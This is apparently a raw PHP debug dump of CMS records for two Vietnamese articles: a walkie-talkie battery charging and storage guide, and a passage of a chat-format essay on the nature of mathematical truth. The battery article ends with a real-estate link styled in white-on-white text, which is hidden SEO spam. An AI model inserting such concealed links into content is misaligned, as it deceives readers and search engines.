'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '847', 'rght' => '848', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '485', 'name' => 'HƯỚNG DẪN SẠC PIN MÁY BỘ ĐÀM ĐÚNG KỸ THUẬT', 'code' => null, 'alias' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Độ bền và tuổi thọ của pin không chỉ phụ thuộc chủ yếu vào loại chất liệu sản xuất pin mà còn phụ thuộc vào các yếu tố khác trong quá trình sử dụng như: sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để đảm bảo sử dụng pin sạc hiệu quả, người sử dụng cần phải nắm rõ các yêu cầu kỹ thuật về quy trình sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <br /> </p> ', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(85, 85, 85); text-align: justify;"><span style="background-color:#ffffff;">Ngày nay, pin sạc dùng cho các thiết bị điện tử viễn thông nói chung và máy bộ đàm nói riêng thường chủ yếu bao gồm các loại Nikel Cadmium (Ni-Cd), Nikel Metal Hyderide (Ni-MH) và Lithium Ion (Li-Ion). </span></span></span></span><br /> <br /> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Trong đó:</span></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> </p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-Cd (Nikel Cadmium) là loại pin có dung lượng trung bình, được sản xuất từ hỗn hợp Niken và Cadmium, trong đó Cadmium là một chất độc hại, gây ảnh hưởng xấu đến môi trường sau khi ngưng sử dụng.</span></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-MH (Nikel Metal Hydride) là một kiểu pin sạc tương tự như pin Ni-Cd nhưng sử dụng hỗn hợp hấp thu Hiđrua thay cho Cadmium. Pin Ni-MH thường có dung lượng điện lớn gấp 2 - 3 lần so với pin NiCd cùng kích thước.</span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Li-Ion (Lithium Ion) là loại pin dung lượng cao, cho phép sạc nhồi khi đang sử dụng. Loại pin này hiện tại đang được ưa chuộng sử dụng bởi các tính năng vượt trội của nó như: trọng lượng pin nhẹ, dung lượng lưu trữ cao, không có hiệu ứng nhớ, mức tự xả thấp, có thể sạc nhồi khi đang sử dụng.</span></span></span><br /> </p> <p style="user-select: text; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bảng so sánh các loại pin máy bộ đàm:</span></span></span></span></p> <p style="background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><img alt="" src="http://giamaybodam.vn/data/upload/images/Pinmaybodam.jpg" style="user-select: text !important; border: 0px; background: 0px 0px; font-weight: inherit; margin: 0px !important; padding: 0px; outline: 0px; vertical-align: top;" /></span></span></p> <p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách sạc pin máy bộ đàm: </span></span></span></span><br /> <br /> <span style="background-color: rgb(255, 255, 255); font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để sạc pin máy bộ đàm, chúng ta thường sử dụng bộ sạc đi kèm theo pin của nhà sản xuất. </span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Có 2 loại sạc: bộ sạc nhanh và bộ sạc tiêu chuẩn</span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc nhanh</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc pin với dòng sạc (Ampe) cao, thời gian sạc pin ngắn từ 2 – 4 giờ. Các bộ sạc nhanh thường được thiết kế với bo mạch điều khiển sạc (sạc thông minh) nhằm để tránh trường hợp sạc quá mức, có thể gây hư hỏng pin hoặc gây ra những yếu tố không an toàn, nguy hiểm.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc nhanh ta cần phải chú ý đến tình trạng pin khi sạc, nếu pin nóng quá mức thì nên lấy pin ra và ngưng sạc đợi đến khi pin nguội bình thường rồi tiến hành sạc lại cho đến khi pin thực sự đầy. Đối với pin mới (mới mua hoặc để lâu giờ mới sử dụng lại) ta nên sạc 2 lần cho thật đầy rồi mới sử dụng.</span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc tiêu chuẩn</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc thường, thời gian sạc dài từ 8 – 16 giờ (hoặc hơn) tùy theo từng loại pin và loại sạc.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc tiêu chuẩn nếu là pin mới mua hoặc pin để lâu giờ mới đem ra sử dụng ta hãy sạc từ 12 – 16 giờ trước khi sử dụng, những lần sau đó ta chỉ nên sạc trung bình 8 - 10 giờ.</span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Những lưu ý khi sạc pin</span></span></em></span></span></p> <ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;"> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin bằng bộ sạc rời (tức là không phải cắm sạc qua máy như laptop) ta nên tháo pin ra khỏi máy để sạc hoặc là tắt máy đi nếu như sạc pin kèm với máy. Điều này không những giúp nâng cao hiệu suất sạc pin mà còn tránh được trường hợp pin bị “chai kỹ thuật” hoặc những tác động không mong muốn đến máy.</span></span></span></li> <li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Nên sạc pin khi pin đã được sử dụng hết (không thể vận hành thiết bị - mở máy) nên để pin nguội trước khi sạc, sau khi sạc nên để pin thật nguội trước khi lắp vào thiết bị sử dụng. Điều này rất quan trọng đối với pin Ni-Cd vì nhiệt độ càng cao thì khả năng lưu trữ và bảo quan pin càng thấp. </span></span></span></li> </ul> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách xả pin máy bộ đàm</span></span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Xả pin là một quy trình cần thiết cho việc nâng cao hiệu quả sử dụng pin sạc. Có rất nhiều cách xả pin như: xả pin kỹ thuật, xả pin bằng bộ sạc xả chuyên dùng, xả pin bằng thiết bị sử dụng… </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Đối với máy bộ đàm thường thì người ta dùng máy để xả pin nếu như chưa trang bị bộ sạc xả chuyên dụng. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin máy bộ đàm được làm từ nhiều viên pin nối kết với nhau vì vậy khi xả pin cần phải chú ý để tránh trường hợp “đảo cực”. Các viên pin không bao giờ hoàn toàn giống nhau, vì thế không tránh được tình trạng một viên sẽ bị xả hết hoàn toàn trước những viên khác. Khi điều này xảy ra, viên pin "tốt" sẽ bắt đầu "biến" viên đã xả hết đảo chiều, điều này có thể khiến viên pin đó hỏng. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách bảo quản pin máy bộ đàm</span></span><br style="user-select: text !important;" /> <br style="user-select: text !important;" /> <span style="background-color:#ffffff;">Nếu trong quá trình ta không sử dụng máy, ta nên bảo quản bằng cách sạc pin đầy và tháo pin rời thân máy trước khi bảo quản cất giữ, sau đó cứ mỗi tháng ta nên sạc lại đầy pin 01 lần. </span></span></span></p> <p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin không sử dụng trong một khoảng thời gian cần phải được sạc đầy trước khi sử dụng. Cũng vì lý do này mà các pin mới cần phải trải qua vài lần sạc - xả mới có thể đạt được mức dung lượng điện công bố. </span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;"><span style="background-color: rgb(255, 255, 255); font-family: Arial, Verdana, sans-serif;">Chung cư Goldlight Khuất Duy Tiến</span></span></a></p> ', 'images' => '2017050808014443070999c12ebb927c696a6f2bf4ffa7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '69053', 'slug' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '845', 'rght' => '846', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $detailNews = array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới 